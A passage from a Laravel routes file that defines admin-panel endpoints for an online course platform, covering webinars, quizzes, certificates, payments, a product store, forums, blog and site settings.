Route::post('/search', 'CategoryController@search');
Route::group(['prefix' => 'trends'], function () {
Route::get('/', 'TrendCategoriesController@index');
Route::get('/create', 'TrendCategoriesController@create');
Route::post('/store', 'TrendCategoriesController@store');
Route::get('/{id}/edit', 'TrendCategoriesController@edit');
Route::post('/{id}/update', 'TrendCategoriesController@update');
Route::get('/{id}/delete', 'TrendCategoriesController@destroy');
});
});
Route::group(['prefix' => 'filters'], function () {
Route::get('/', 'FilterController@index');
Route::get('/create', 'FilterController@create');
Route::post('/store', 'FilterController@store');
Route::get('/{id}/edit', 'FilterController@edit');
Route::post('/{id}/update', 'FilterController@update');
Route::get('/{id}/delete', 'FilterController@destroy');
});
Route::group(['prefix' => 'tags'], function () {
Route::get('/', 'TagController@index');
Route::get('/create', 'TagController@create');
Route::post('/store', 'TagController@store');
Route::get('/{id}/edit', 'TagController@edit');
Route::post('/{id}/update', 'TagController@update');
Route::get('/{id}/delete', 'TagController@destroy');
});
Route::group(['prefix' => 'comments/{page}'], function () {
Route::get('/', 'CommentsController@index');
Route::get('/{comment_id}/toggle', 'CommentsController@toggleStatus');
Route::get('/{comment_id}/edit', 'CommentsController@edit');
Route::post('/{comment_id}/update', 'CommentsController@update');
Route::get('/{comment_id}/reply', 'CommentsController@reply');
Route::post('/{comment_id}/reply', 'CommentsController@storeReply');
Route::get('/{comment_id}/delete', 'CommentsController@delete');
Route::group(['prefix' => 'reports'], function () {
Route::get('/', 'CommentsController@reports');
Route::get('/{id}/show', 'CommentsController@reportShow');
Route::get('/{id}/delete', 'CommentsController@reportDelete');
});
});
Route::group(['prefix' => 'reports'], function () {
Route::get('/reasons', 'ReportsController@reasons');
Route::post('/reasons', 'ReportsController@storeReasons');
Route::get('/webinars', 'ReportsController@webinarsReports');
Route::get('/webinars/{id}/delete', 'ReportsController@delete');
Route::group(['prefix' => 'forum-topics'], function () {
Route::get('/', 'ForumTopicReportsController@index');
Route::get('/{id}/delete', 'ForumTopicReportsController@delete');
});
});
Route::group(['prefix' => 'webinars'], function () {
Route::get('/', 'WebinarController@index');
Route::get('/create', 'WebinarController@create');
Route::post('/store', 'WebinarController@store');
Route::get('/{id}/edit', 'WebinarController@edit');
Route::post('/{id}/update', 'WebinarController@update');
Route::get('/{id}/delete', 'WebinarController@destroy');
Route::get('/{id}/approve', 'WebinarController@approve');
Route::get('/{id}/reject', 'WebinarController@reject');
Route::get('/{id}/unpublish', 'WebinarController@unpublish');
Route::post('/search', 'WebinarController@search');
Route::get('/excel', 'WebinarController@exportExcel');
Route::get('/{id}/students', 'WebinarController@studentsLists');
Route::get('/{id}/sendNotification', 'WebinarController@notificationToStudents');
Route::post('/{id}/sendNotification', 'WebinarController@sendNotificationToStudents');
Route::post('/add-student-to-course', 'WebinarController@addStudentToCourse');
Route::post('/order-items', 'WebinarController@orderItems');
Route::post('/{id}/getContentItemByLocale', 'WebinarController@getContentItemByLocale');
Route::get('/{id}/statistics', 'WebinarStatisticController@index');
Route::group(['prefix' => 'features'], function () {
Route::get('/', 'FeatureWebinarsControllers@index');
Route::get('/create', 'FeatureWebinarsControllers@create');
Route::post('/store', 'FeatureWebinarsControllers@store');
Route::get('/{id}/edit', 'FeatureWebinarsControllers@edit');
Route::post('/{id}/update', 'FeatureWebinarsControllers@update');
Route::get('{feature_id}/{toggle}', 'FeatureWebinarsControllers@toggle');
Route::get('/excel', 'FeatureWebinarsControllers@exportExcel');
});
Route::get('/course_forums', 'CourseForumsControllers@index');
Route::group(['prefix' => '{webinar_id}/forums'], function () {
Route::get('/', 'CourseForumsControllers@forums');
Route::get('/{forum_id}/edit', 'CourseForumsControllers@forumEdit');
Route::get('/{forum_id}/delete', 'CourseForumsControllers@forumDelete');
Route::post('/{forum_id}/edit', 'CourseForumsControllers@forumUpdate');
Route::get('/{forum_id}/answers', 'CourseForumsControllers@answers');
Route::get('/{forum_id}/answers/{id}/edit', 'CourseForumsControllers@answerEdit');
Route::get('/{forum_id}/answers/{id}/delete', 'CourseForumsControllers@answerDelete');
Route::post('/{forum_id}/answers/{id}/edit', 'CourseForumsControllers@answerUpdate');
});
Route::group(['prefix' => 'personal-notes'], function () {
Route::get('/', 'CoursePersonalNotesController@index');
Route::get('/{id}/download-attachment', 'CoursePersonalNotesController@downloadAttachment');
Route::post('/{id}/update', 'CoursePersonalNotesController@update');
Route::get('/{id}/delete', 'CoursePersonalNotesController@delete');
});
});
Route::group(['prefix' => 'quizzes'], function () {
Route::get('/', 'QuizController@index');
Route::get('/create', 'QuizController@create');
Route::post('/store', 'QuizController@store');
Route::get('/{id}/edit', 'QuizController@edit')->name('adminEditQuiz');
Route::post('/{id}/update', 'QuizController@update');
Route::get('/{id}/delete', 'QuizController@delete');
Route::get('/{id}/results', 'QuizController@results');
Route::get('/{id}/results/excel', 'QuizController@resultsExportExcel');
Route::get('/result/{result_id}/delete', 'QuizController@resultDelete');
Route::get('/excel', 'QuizController@exportExcel');
Route::post('/{id}/order-items', 'QuizController@orderItems');
});
Route::group(['prefix' => 'quizzes-questions'], function () {
Route::post('/store', 'QuizQuestionController@store');
Route::get('/{id}/edit', 'QuizQuestionController@edit');
Route::get('/{id}/getQuestionByLocale', 'QuizQuestionController@getQuestionByLocale');
removeContentLocale();
Route::post('/{id}/update', 'QuizQuestionController@update');
Route::get('/{id}/delete', 'QuizQuestionController@destroy');
});
Route::group(['prefix' => 'filters'], function () {
Route::get('/get-by-category-id/{categoryId}', 'FilterController@getByCategoryId');
});
Route::group(['prefix' => 'tickets'], function () {
Route::post('/store', 'TicketController@store');
Route::post('/{id}/edit', 'TicketController@edit');
Route::post('/{id}/update', 'TicketController@update');
Route::get('/{id}/delete', 'TicketController@destroy');
});
Route::group(['prefix' => 'chapters'], function () {
Route::get('/{id}', 'ChapterController@getChapter');
Route::get('/getAllByWebinarId/{webinar_id}', 'ChapterController@getAllByWebinarId');
Route::post('/store', 'ChapterController@store');
Route::post('/{id}/edit', 'ChapterController@edit');
Route::post('/{id}/update', 'ChapterController@update');
Route::get('/{id}/delete', 'ChapterController@destroy');
Route::post('/change', 'ChapterController@change');
});
Route::group(['prefix' => 'sessions'], function () {
Route::post('/store', 'SessionController@store');
Route::post('/{id}/edit', 'SessionController@edit');
Route::post('/{id}/update', 'SessionController@update');
Route::get('/{id}/delete', 'SessionController@destroy');
});
Route::group(['prefix' => 'files'], function () {
Route::post('/store', 'FileController@store');
Route::post('/{id}/edit', 'FileController@edit');
Route::post('/{id}/update', 'FileController@update');
Route::get('/{id}/delete', 'FileController@destroy');
});
Route::group(['prefix' => 'text-lesson'], function () {
Route::post('/store', 'TextLessonsController@store');
Route::post('/{id}/edit', 'TextLessonsController@edit');
Route::post('/{id}/update', 'TextLessonsController@update');
Route::get('/{id}/delete', 'TextLessonsController@destroy');
});
Route::group(['prefix' => 'assignments'], function () {
Route::get('/', 'AssignmentController@index');
Route::get('/{id}/students', 'AssignmentController@students');
Route::get('/{assignmentId}/history/{historyId}/conversations', 'AssignmentController@conversations');
Route::post('/store', 'AssignmentController@store');
Route::post('/{id}/edit', 'AssignmentController@edit');
Route::post('/{id}/update', 'AssignmentController@update');
Route::get('/{id}/delete', 'AssignmentController@destroy');
});
Route::group(['prefix' => 'prerequisites'], function () {
Route::post('/store', 'PrerequisiteController@store');
Route::post('/{id}/edit', 'PrerequisiteController@edit');
Route::post('/{id}/update', 'PrerequisiteController@update');
Route::get('/{id}/delete', 'PrerequisiteController@destroy');
});
Route::group(['prefix' => 'relatedCourses'], function () {
Route::get('/get-form', 'RelatedCoursesController@getForm');
Route::post('/store', 'RelatedCoursesController@store');
Route::get('/{id}/edit', 'RelatedCoursesController@getForm');
Route::post('/{id}/update', 'RelatedCoursesController@update');
Route::get('/{id}/delete', 'RelatedCoursesController@destroy');
});
Route::group(['prefix' => 'faqs'], function () {
Route::post('/store', 'FAQController@store');
Route::post('/{id}/description', 'FAQController@description');
Route::post('/{id}/edit', 'FAQController@edit');
Route::post('/{id}/update', 'FAQController@update');
Route::get('/{id}/delete', 'FAQController@destroy');
});
Route::group(['prefix' => 'webinar-extra-description'], function () {
Route::post('/store', 'WebinarExtraDescriptionController@store');
Route::post('/{id}/edit', 'WebinarExtraDescriptionController@edit');
Route::post('/{id}/update', 'WebinarExtraDescriptionController@update');
Route::get('/{id}/delete', 'WebinarExtraDescriptionController@destroy');
});
Route::group(['prefix' => 'webinar-quiz'], function () {
Route::post('/store', 'WebinarQuizController@store');
Route::post('/{id}/edit', 'WebinarQuizController@edit');
Route::post('/{id}/update', 'WebinarQuizController@update');
Route::get('/{id}/delete', 'WebinarQuizController@destroy');
});
Route::group(['prefix' => 'certificates'], function () {
Route::get('/', 'CertificateController@index');
Route::get('/excel', 'CertificateController@exportExcel');
Route::group(['prefix' => 'templates'], function () {
Route::get('/', 'CertificateController@CertificatesTemplatesList');
Route::get('/new', 'CertificateController@CertificatesNewTemplate');
Route::post('/store', 'CertificateController@CertificatesTemplateStore');
Route::post('/preview', 'CertificateController@CertificatesTemplatePreview');
Route::get('/{template_id}/edit', 'CertificateController@CertificatesTemplatesEdit');
Route::post('/{template_id}/update', 'CertificateController@CertificatesTemplateStore');
Route::get('/{template_id}/delete', 'CertificateController@CertificatesTemplatesDelete');
});
Route::get('/{id}/download', 'CertificateController@CertificatesDownload');
Route::group(['prefix' => 'course-competition'], function () {
Route::get('/', 'WebinarCertificateController@index');
Route::get('/{certificate_id}/show', 'WebinarCertificateController@show');
});
Route::group(['prefix' => 'settings'], function () {
Route::get('/', 'CertificateController@settings');
Route::post('/', 'CertificateController@storeSettings');
});
});
Route::group(['prefix' => 'reviews'], function () {
Route::get('/', 'ReviewsController@index');
Route::get('/{id}/toggleStatus', 'ReviewsController@toggleStatus');
Route::get('/{id}/reply', 'ReviewsController@reply');
Route::get('/{id}/delete', 'ReviewsController@delete');
});
Route::group(['prefix' => 'consultants'], function () {
Route::get('/', 'ConsultantsController@index');
Route::get('/excel', 'ConsultantsController@exportExcel');
});
Route::group(['prefix' => 'appointments'], function () {
Route::get('/', 'AppointmentsController@index');
Route::get('/{id}/join', 'AppointmentsController@join');
Route::get('/{id}/getReminderDetails', 'AppointmentsController@getReminderDetails');
Route::get('/{id}/sendReminder', 'AppointmentsController@sendReminder');
Route::get('/{id}/cancel', 'AppointmentsController@cancel');
});
Route::group(['prefix' => 'blog'], function () {
Route::get('/', 'BlogController@index');
Route::get('/create', 'BlogController@create');
Route::post('/store', 'BlogController@store');
Route::post('/search', 'BlogController@search');
Route::get('/{id}/edit', 'BlogController@edit');
Route::post('/{id}/update', 'BlogController@update');
Route::get('/{id}/delete', 'BlogController@delete');
Route::group(['prefix' => 'categories'], function () {
Route::get('/', 'BlogCategoriesController@index');
Route::post('/store', 'BlogCategoriesController@store');
Route::get('/{id}/edit', 'BlogCategoriesController@edit');
Route::post('/{id}/update', 'BlogCategoriesController@update');
Route::get('/{id}/delete', 'BlogCategoriesController@delete');
});
});
Route::group(['prefix' => 'financial'], function () {
Route::group(['prefix' => 'sales'], function () {
Route::get('/', 'SaleController@index');
Route::get('/{id}/refund', 'SaleController@refund');
Route::get('/{id}/invoice', 'SaleController@invoice');
Route::get('/export', 'SaleController@exportExcel');
});
Route::group(['prefix' => 'payouts'], function () {
Route::get('/', 'PayoutController@index');
Route::get('/{id}/reject', 'PayoutController@reject');
Route::get('/{id}/payout', 'PayoutController@payout');
Route::get('/excel', 'PayoutController@exportExcel');
});
Route::group(['prefix' => 'offline_payments'], function () {
Route::get('/', 'OfflinePaymentController@index');
Route::get('/excel', 'OfflinePaymentController@exportExcel');
Route::get('/{id}/reject', 'OfflinePaymentController@reject');
Route::get('/{id}/approved', 'OfflinePaymentController@approved');
});
Route::group(['prefix' => 'discounts'], function () {
Route::get('/', 'DiscountController@index');
Route::get('/new', 'DiscountController@create');
Route::post('/store', 'DiscountController@store');
Route::get('/{id}/edit', 'DiscountController@edit');
Route::post('/{id}/update', 'DiscountController@update');
Route::get('/{id}/delete', 'DiscountController@destroy');
});
Route::group(['prefix' => 'special_offers'], function () {
Route::get('/', 'SpecialOfferController@index');
Route::get('/new', 'SpecialOfferController@create');
Route::post('/store', 'SpecialOfferController@store');
Route::get('/{id}/edit', 'SpecialOfferController@edit');
Route::post('/{id}/update', 'SpecialOfferController@update');
Route::get('/{id}/delete', 'SpecialOfferController@destroy');
});
Route::group(['prefix' => 'documents'], function () {
Route::get('/', 'DocumentController@index');
Route::get('/new', 'DocumentController@create');
Route::post('/store', 'DocumentController@store');
Route::get('/{id}/print', 'DocumentController@printer');
});
Route::group(['prefix' => 'subscribes'], function () {
Route::get('/', 'SubscribesController@index');
Route::get('/new', 'SubscribesController@create');
Route::post('/store', 'SubscribesController@store');
Route::get('/{id}/edit', 'SubscribesController@edit');
Route::post('/{id}/update', 'SubscribesController@update');
Route::get('/{id}/delete', 'SubscribesController@delete');
});
Route::group(['prefix' => 'promotions'], function () {
Route::get('/', 'PromotionsController@index');
Route::get('/new', 'PromotionsController@create');
Route::get('/sales', 'PromotionsController@sales');
Route::post('/store', 'PromotionsController@store');
Route::get('/{id}/edit', 'PromotionsController@edit');
Route::post('/{id}/update', 'PromotionsController@update');
Route::get('/{id}/delete', 'PromotionsController@delete');
});
Route::group(['prefix' => 'registration-packages'], function () {
Route::get('/', 'RegistrationPackagesController@index')->name('adminRegistrationPackagesLists');
Route::get('/new', 'RegistrationPackagesController@create');
Route::post('/store', 'RegistrationPackagesController@store');
Route::get('/{id}/edit', 'RegistrationPackagesController@edit');
Route::post('/{id}/update', 'RegistrationPackagesController@update');
Route::get('/{id}/delete', 'RegistrationPackagesController@delete');
Route::get('/settings', 'RegistrationPackagesController@settings');
Route::get('/reports', 'RegistrationPackagesController@reports');
});
Route::group(['prefix' => 'installments'], function () {
Route::get('/', 'InstallmentsController@index');
Route::get('/create', 'InstallmentsController@create');
Route::post('/store', 'InstallmentsController@store');
Route::get('/{id}/edit', 'InstallmentsController@edit');
Route::post('/{id}/update', 'InstallmentsController@update');
Route::get('/{id}/delete', 'InstallmentsController@delete');
Route::group(['prefix' => 'settings'], function () {
Route::get('/', 'InstallmentsController@settings');
Route::post('/', 'InstallmentsController@storeSettings');
});
Route::group(['prefix' => 'orders'], function () {
Route::get('/{id}/details', 'InstallmentsController@details');
Route::get('/{id}/cancel', 'InstallmentsController@cancel');
Route::get('/{id}/refund', 'InstallmentsController@refund');
Route::get('/{id}/approve', 'InstallmentsController@approve');
Route::get('/{id}/reject', 'InstallmentsController@reject');
Route::get('/{id}/attachments/{attachment_id}/download', 'InstallmentsController@downloadAttachment');
});
Route::get('/purchases', 'InstallmentsController@purchases');
Route::get('/purchases/export', 'InstallmentsController@purchasesExportExcel');
Route::get('/overdue', 'InstallmentsController@overdueLists');
Route::get('/overdue/export', 'InstallmentsController@overdueListsExportExcel');
Route::get('/overdue_history', 'InstallmentsController@overdueHistories');
Route::get('/overdue_history/export', 'InstallmentsController@overdueHistoriesExportExcel');
Route::get('/verification_requests', 'InstallmentsController@verificationRequests');
Route::get('/verified_users', 'InstallmentsController@verifiedUsers');
Route::get('/verified_users/export', 'InstallmentsController@verifiedUsersExportExcel');
});
});
Route::group(['prefix' => 'advertising'], function () {
Route::group(['prefix' => 'banners'], function () {
Route::get('/', 'AdvertisingBannersController@index');
Route::get('/new', 'AdvertisingBannersController@create');
Route::post('/store', 'AdvertisingBannersController@store');
Route::get('/{id}/edit', 'AdvertisingBannersController@edit');
Route::post('/{id}/update', 'AdvertisingBannersController@update');
Route::get('/{id}/delete', 'AdvertisingBannersController@delete');
});
});
Route::group(['prefix' => 'newsletters'], function () {
Route::get('/', 'NewslettersController@index');
Route::get('/send', 'NewslettersController@send');
Route::post('/send', 'NewslettersController@sendNewsletter');
Route::get('/history', 'NewslettersController@history');
Route::get('/{id}/delete', 'NewslettersController@delete');
Route::get('/excel', 'NewslettersController@exportExcel');
});
Route::group(['prefix' => 'referrals'], function () {
Route::get('/history', 'ReferralController@history');
Route::get('/users', 'ReferralController@users');
Route::get('/excel', 'ReferralController@exportExcel');
});
Route::group(['prefix' => 'additional_page'], function () {
Route::group(['prefix' => '/navbar_links'], function () {
Route::get('/', 'NavbarLinksSettingsController@index');
Route::post('/store', 'NavbarLinksSettingsController@store');
Route::get('/{key}/edit', 'NavbarLinksSettingsController@edit');
Route::get('/{key}/delete', 'NavbarLinksSettingsController@delete');
});
Route::get('/{name}', 'AdditionalPageController@index');
Route::post('/{name}', 'AdditionalPageController@store');
Route::post('/footer/store', 'AdditionalPageController@storeFooter');
});
Route::group(['prefix' => 'settings'], function () {
Route::get('/', 'SettingsController@index');
Route::group(['prefix' => 'personalization'], function () {
Route::group(['prefix' => 'navbar_button'], function () {
Route::get('/', 'SettingsController@navbarButtonSettings');
Route::get('/{id}/edit', 'SettingsController@navbarButtonSettingsEdit');
Route::post('/', 'SettingsController@storeNavbarButtonSettings');
Route::get('/{id}/delete', 'SettingsController@navbarButtonSettingsDelete');
});
Route::group(['prefix' => 'home_sections'], function () {
Route::get('/', 'HomeSectionSettingsController@index');
Route::post('/', 'HomeSectionSettingsController@store');
Route::get('/{id}/delete', 'HomeSectionSettingsController@delete');
Route::post('/sort', 'HomeSectionSettingsController@sort');
});
Route::group(['prefix' => 'statistics'], function () {
Route::get('/', 'StatisticSettingsController@index');
Route::post('/', 'StatisticSettingsController@store');
Route::get('/get-form', 'StatisticSettingsController@getForm');
Route::post('/storeItem', 'StatisticSettingsController@storeItem');
Route::get('/{id}/editItem', 'StatisticSettingsController@editItem');
Route::post('/{id}/updateItem', 'StatisticSettingsController@updateItem');
Route::get('/{id}/deleteItem', 'StatisticSettingsController@deleteItem');
Route::post('/sort', 'StatisticSettingsController@sort');
});
Route::get('/{name}', 'SettingsController@personalizationPage');
});
Route::group(['prefix' => 'update-app'], function () {
Route::get('/', 'UpdateController@index');
Route::post('/basic', 'UpdateController@basicUpdate');
Route::post('/custom-update', 'UpdateController@customUpdate');
Route::post('/database', 'UpdateController@databaseUpdate');
});
Route::get('/reset-users-login-count', 'SettingsController@resetUsersLoginCount');
Route::get('/{page}', 'SettingsController@page');
Route::post('/{name}', 'SettingsController@store');
Route::post('/seo_metas/store', 'SettingsController@storeSeoMetas');
Route::post('/notifications/store', 'SettingsController@notificationsMetas');
/* Currency */
Route::group(['prefix' => "/financial/currency"], function () {
Route::post('/', 'SettingsController@financialCurrencyStore');
Route::get('/{id}/edit', 'SettingsController@financialCurrencyEdit');
Route::get('/{id}/delete', 'SettingsController@financialCurrencyDelete');
Route::post('/order-items', 'SettingsController@financialCurrencyOrderItems');
});
/* Offline Banks */
Route::group(['prefix' => "/financial/offline_banks"], function () {
Route::get('/get-form', 'SettingsController@financialOfflineBankForm');
Route::post('/store', 'SettingsController@financialOfflineBankStore');
Route::get('/{id}/edit', 'SettingsController@financialOfflineBankEdit');
Route::post('/{id}/update', 'SettingsController@financialOfflineBankUpdate');
Route::get('/{id}/delete', 'SettingsController@financialOfflineBankDelete');
});
/* User Banks */
Route::group(['prefix' => "/financial/user_banks"], function () {
Route::get('/get-form', 'SettingsController@financialUserBankForm');
Route::post('/store', 'SettingsController@financialUserBankStore');
Route::get('/{id}/edit', 'SettingsController@financialUserBankEdit');
Route::post('/{id}/update', 'SettingsController@financialUserBankUpdate');
Route::get('/{id}/delete', 'SettingsController@financialUserBankDelete');
});
Route::group(['prefix' => '/socials'], function () {
Route::post('/store', 'SettingsController@storeSocials');
Route::get('/{key}/edit', 'SettingsController@editSocials');
Route::get('/{key}/delete', 'SettingsController@deleteSocials');
});
Route::group(['prefix' => 'payment_channels'], function () {
Route::get('/', 'PaymentChannelController@index');
Route::get('/{id}/toggleStatus', 'PaymentChannelController@toggleStatus');
Route::get('/{id}/edit', 'PaymentChannelController@edit');
Route::post('/{id}/update', 'PaymentChannelController@update');
});
Route::post('/custom_css_js/store', 'SettingsController@storeCustomCssJs');
});
Route::group(['prefix' => 'testimonials'], function () {
Route::get('/', 'TestimonialsController@index');
Route::get('/create', 'TestimonialsController@create');
Route::post('/store', 'TestimonialsController@store');
Route::get('/{id}/edit', 'TestimonialsController@edit');
Route::post('/{id}/update', 'TestimonialsController@update');
Route::get('/{id}/delete', 'TestimonialsController@delete');
});
Route::group(['prefix' => 'contacts'], function () {
Route::get('/', 'ContactController@index');
Route::get('/{id}/reply', 'ContactController@reply');
Route::post('/{id}/reply', 'ContactController@storeReply');
Route::get('/{id}/delete', 'ContactController@delete');
});
Route::group(['prefix' => 'pages'], function () {
Route::get('/', 'PagesController@index');
Route::get('/create', 'PagesController@create');
Route::post('/store', 'PagesController@store');
Route::get('/{id}/edit', 'PagesController@edit');
Route::post('/{id}/update', 'PagesController@update');
Route::get('/{id}/delete', 'PagesController@delete');
Route::get('/{id}/toggle', 'PagesController@statusTaggle');
});
Route::group(['prefix' => 'agora_history'], function () {
Route::get('/', 'AgoraHistoryController@index');
Route::get('/excel', 'AgoraHistoryController@exportExcel');
});
Route::group(['prefix' => 'regions'], function () {
Route::get('/new', 'RegionController@create');
Route::post('/store', 'RegionController@store');
Route::get('/{id}/edit', 'RegionController@edit');
Route::post('/{id}/update', 'RegionController@update');
Route::get('/{id}/delete', 'RegionController@delete');
Route::get('/provincesByCountry/{countryId}', 'RegionController@provincesByCountry');
Route::get('/citiesByProvince/{provinceId}', 'RegionController@citiesByProvince');
Route::get('/{pageType}', 'RegionController@index');
});
Route::group(['prefix' => 'rewards'], function () {
Route::get('/', 'RewardController@index');
Route::get('/items', 'RewardController@create');
Route::post('/items', 'RewardController@store');
Route::get('/items/{id}', 'RewardController@edit');
Route::post('/items/{id}', 'RewardController@update');
Route::get('/items/{id}/delete', 'RewardController@delete');
Route::get('/settings', 'RewardController@settings');
Route::post('/settings', 'RewardController@storeSettings');
});
Route::group(['prefix' => 'store', 'namespace' => 'Store'], function () {
Route::group(['prefix' => 'in-house-products'], function () {
Route::get('/', 'ProductsController@inHouseProducts');
});
Route::group(['prefix' => 'products'], function () {
Route::get('/', 'ProductsController@index');
Route::get('/create', 'ProductsController@create');
Route::post('/store', 'ProductsController@store');
Route::get('/{id}/edit', 'ProductsController@edit');
Route::post('/{id}/update', 'ProductsController@update');
Route::get('/{id}/delete', 'ProductsController@destroy');
Route::post('/{id}/getContentItemByLocale', 'ProductsController@getContentItemByLocale');
Route::post('/search', 'ProductsController@search');
Route::get('/excel', 'ProductsController@exportExcel');
Route::get('/{id}/approve', 'ProductsController@approve');
Route::get('/{id}/reject', 'ProductsController@reject');
Route::get('/{id}/unpublish', 'ProductsController@unpublish');
Route::group(['prefix' => 'files'], function () {
Route::post('/store', 'ProductFileController@store');
Route::post('/{id}/edit', 'ProductFileController@edit');
Route::post('/{id}/update', 'ProductFileController@update');
Route::get('/{id}/delete', 'ProductFileController@destroy');
});
Route::group(['prefix' => 'specifications'], function () {
Route::get('/{id}/get', 'ProductSpecificationController@getItem');
Route::post('/store', 'ProductSpecificationController@store');
Route::post('/{id}/update', 'ProductSpecificationController@update');
Route::get('/{id}/delete', 'ProductSpecificationController@destroy');
//Route::post('/order-items', 'ProductSpecificationController@orderItems');
Route::post('/search', 'ProductSpecificationController@search');
Route::get('/get-by-category-id/{categoryId}', 'ProductSpecificationController@getByCategoryId');
});
Route::group(['prefix' => 'faqs'], function () {
Route::post('/store', 'ProductFaqController@store');
Route::post('/{id}/update', 'ProductFaqController@update');
Route::get('/{id}/delete', 'ProductFaqController@destroy');
});
Route::group(['prefix' => 'filters'], function () {
Route::get('/get-by-category-id/{categoryId}', 'ProductFilterController@getByCategoryId');
});
});
Route::group(['prefix' => 'orders'], function () {
Route::get('/', 'OrderController@index');
Route::get('/{id}/refund', 'OrderController@refund');
Route::get('/{id}/invoice', 'OrderController@invoice');
Route::get('/export', 'OrderController@exportExcel');
Route::get('/{id}/getProductOrder/{order_id}', 'OrderController@getProductOrder');
Route::post('/{id}/productOrder/{order_id}/setTrackingCode', 'OrderController@setTrackingCode');
});
Route::group(['prefix' => 'in-house-orders'], function () {
Route::get('/', 'OrderController@inHouseOrders');
});
Route::group(['prefix' => 'sellers'], function () {
Route::get('/', 'SellersController@index');
});
Route::group(['prefix' => 'categories'], function () {
Route::get('/', 'CategoryController@index');
Route::get('/create', 'CategoryController@create');
Route::post('/store', 'CategoryController@store');
Route::get('/{id}/edit', 'CategoryController@edit');
Route::post('/{id}/update', 'CategoryController@update');
Route::get('/{id}/delete', 'CategoryController@destroy');
Route::post('/search', 'CategoryController@search');
});
Route::group(['prefix' => 'filters'], function () {
Route::get('/', 'FilterController@index');
Route::get('/create', 'FilterController@create');
Route::post('/store', 'FilterController@store');
Route::get('/{id}/edit', 'FilterController@edit');
Route::post('/{id}/update', 'FilterController@update');
Route::get('/{id}/delete', 'FilterController@destroy');
});
Route::group(['prefix' => 'specifications'], function () {
Route::get('/', 'SpecificationController@index');
Route::get('/create', 'SpecificationController@create');
Route::post('/store', 'SpecificationController@store');
Route::get('/{id}/edit', 'SpecificationController@edit');
Route::post('/{id}/update', 'SpecificationController@update');
Route::get('/{id}/delete', 'SpecificationController@destroy');
});
Route::group(['prefix' => 'discounts'], function () {
Route::get('/', 'DiscountController@index');
Route::get('/create', 'DiscountController@create');
Route::post('/store', 'DiscountController@store');
Route::get('/{id}/edit', 'DiscountController@edit');
Route::post('/{id}/update', 'DiscountController@update');
Route::get('/{id}/delete', 'DiscountController@destroy');
});
Route::group(['prefix' => 'reviews'], function () {
Route::get('/', 'ReviewsController@index');
Route::get('/{id}/toggleStatus', 'ReviewsController@toggleStatus');
Route::get('/{id}/reply', 'ReviewsController@reply');
Route::get('/{id}/delete', 'ReviewsController@delete');
});
Route::group(['prefix' => 'settings'], function () {
Route::get('/', 'ProductsController@settings');
Route::post('/', 'ProductsController@storeSettings');
});
});
Route::group(['prefix' => 'bundles'], function () {
Route::get('/', 'BundleController@index');
Route::get('/create', 'BundleController@create');
Route::post('/store', 'BundleController@store');
Route::get('/{id}/edit', 'BundleController@edit');
Route::post('/{id}/update', 'BundleController@update');
Route::get('/{id}/delete', 'BundleController@destroy');
Route::post('/search', 'BundleController@search');
Route::get('/excel', 'BundleController@exportExcel');
Route::get('/{id}/approve', 'BundleController@approve');
Route::get('/{id}/reject', 'BundleController@reject');
Route::get('/{id}/unpublish', 'BundleController@unpublish');
Route::get('/{id}/students', 'BundleController@studentsLists');
Route::get('/{id}/sendNotification', 'BundleController@notificationToStudents');
Route::post('/{id}/sendNotification', 'BundleController@sendNotificationToStudents');
});
Route::group(['prefix' => 'bundle-webinars'], function () {
Route::post('/store', 'BundleWebinarsController@store');
Route::post('/{id}/edit', 'BundleWebinarsController@edit');
Route::post('/{id}/update', 'BundleWebinarsController@update');
Route::get('/{id}/delete', 'BundleWebinarsController@destroy');
});
Route::group(['prefix' => 'forums'], function () {
Route::get('/', 'ForumController@index');
Route::get('/create', 'ForumController@create');
Route::post('/store', 'ForumController@store');
Route::get('/{id}/edit', 'ForumController@edit');
Route::post('/{id}/update', 'ForumController@update');
Route::get('/{id}/delete', 'ForumController@destroy');
Route::post('/search', 'ForumController@search');
Route::group(['prefix' => 'topics'], function () {
Route::post('/search', 'ForumController@searchTopics');
Route::get('/create', 'ForumTopicsController@create');
Route::post('/store', 'ForumTopicsController@store');
});
Route::group(['prefix' => '{id}/topics'], function () {
Route::get('/', 'ForumTopicsController@index');
Route::get('/{topic_id}/edit', 'ForumTopicsController@edit');
Route::post('/{topic_id}/update', 'ForumTopicsController@update');
Route::post('/{topic_id}/closeToggle', 'ForumTopicsController@closeToggle');
Route::get('/{topic_id}/close', 'ForumTopicsController@close');
Route::get('/{topic_id}/open', 'ForumTopicsController@open');
Route::get('/{topic_id}/delete', 'ForumTopicsController@delete');
Route::group(['prefix' => '{topic_id}/posts'], function () {
Route::get('/', 'ForumTopicsController@posts');
Route::post('/', 'ForumTopicsController@storePost');
Route::get('/{post_id}/edit', 'ForumTopicsController@postEdit');
Route::post('/{post_id}/edit', 'ForumTopicsController@postUpdate');
Route::post('/{post_id}/un_pin', 'ForumTopicsController@postUnPin');
Route::post('/{post_id}/pin', 'ForumTopicsController@postPin');
Route::get('/{post_id}/delete', 'ForumTopicsController@postDelete');
});
});
});
Route::group(['prefix' => 'featured-topics'], function () {
Route::get('/', 'FeaturedTopicsController@index');
Route::get('/create', 'FeaturedTopicsController@create');
Route::post('/store', 'FeaturedTopicsController@store');
Route::get('/{id}/edit', 'FeaturedTopicsController@edit');
Route::post('/{id}/update', 'FeaturedTopicsController@update');
Route::get('/{id}/delete', 'FeaturedTopicsController@destroy');
});
Route::group(['prefix' => 'recommended-topics'], function () {
Route::get('/', 'RecommendedTopicsController@index');
Route::get('/create', 'RecommendedTopicsController@create');
Route::post('/store', 'RecommendedTopicsController@store');
Route::get('/{id}/edit', 'RecommendedTopicsController@edit');
Route::post('/{id}/update', 'RecommendedTopicsController@update');
Route::get('/{id}/delete', 'RecommendedTopicsController@destroy');
});
Route::group(['prefix' => 'advertising_modal'], function () {
Route::get('/', 'AdvertisingModalController@index');
Route::post('/', 'AdvertisingModalController@store');
});
Route::group(['prefix' => 'floating_bars'], function () {
Route::get('/', 'FloatingBarController@index');
Route::post('/', 'FloatingBarController@store');
});
Route::group(['prefix' => 'enrollments'], function () {
Route::get('/history', 'EnrollmentController@history');
Route::get('/add-student-to-class', 'EnrollmentController@addStudentToClass');
Route::post('/store', 'EnrollmentController@store');
Route::get('/{sale_id}/block-access', 'EnrollmentController@blockAccess');
Route::get('/{sale_id}/enable-access', 'EnrollmentController@enableAccess');
Route::get('/export', 'EnrollmentController@exportExcel');
});
Route::group(['prefix' => 'upcoming_courses'], function () {
Route::get('/', 'UpcomingCoursesController@index');
Route::get('/new', 'UpcomingCoursesController@create');
